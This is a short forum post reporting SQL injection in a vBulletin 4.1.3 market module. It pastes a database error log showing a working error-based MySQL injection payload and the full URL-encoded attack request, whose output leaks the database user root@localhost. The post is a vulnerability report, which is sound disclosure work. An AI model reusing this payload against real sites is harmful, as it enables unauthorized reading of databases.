[Muazam]

It's not secure. Mysql Injections below:

Database error in vBulletin 4.1.3:

Invalid SQL:
SELECT * from market_items where `marketid` = 16 AND (SELECT 3794 FROM(SELECT COUNT(*),CONCAT(CHAR(58,119,114,108,58),(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32))),1,50)),CHAR(58,119,115,101,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a);

MySQL Error   : Duplicate entry ':wrl:root@localhost:wse:1' for key 1
Error Number  : 1062
Request Date  : Sunday, May 15th 2011 @ 03:22:53 AM
Error Date    : Sunday, May 15th 2011 @ 03:22:53 AM
Script        : /market.php?do=cat&id=16%20AND%20%28SELECT%203794%20FROM%28SELECT%20COUNT%28%2A%29%2CCONCAT%28CHAR%2858%2C119%2C114%2C108%2C58%29%2C%28MID%28%28IFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%29%2CCHAR%2832%29%29%29%2C1%2C50%29%29%2CCHAR%2858%2C119%2C115%2C101%2C58%29%2CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20information_schema.tables%20GROUP%20BY%20x%29a%29

This is not safe at all, I'm not sure what the code does. But it looks like its reading the account table? Please look into it.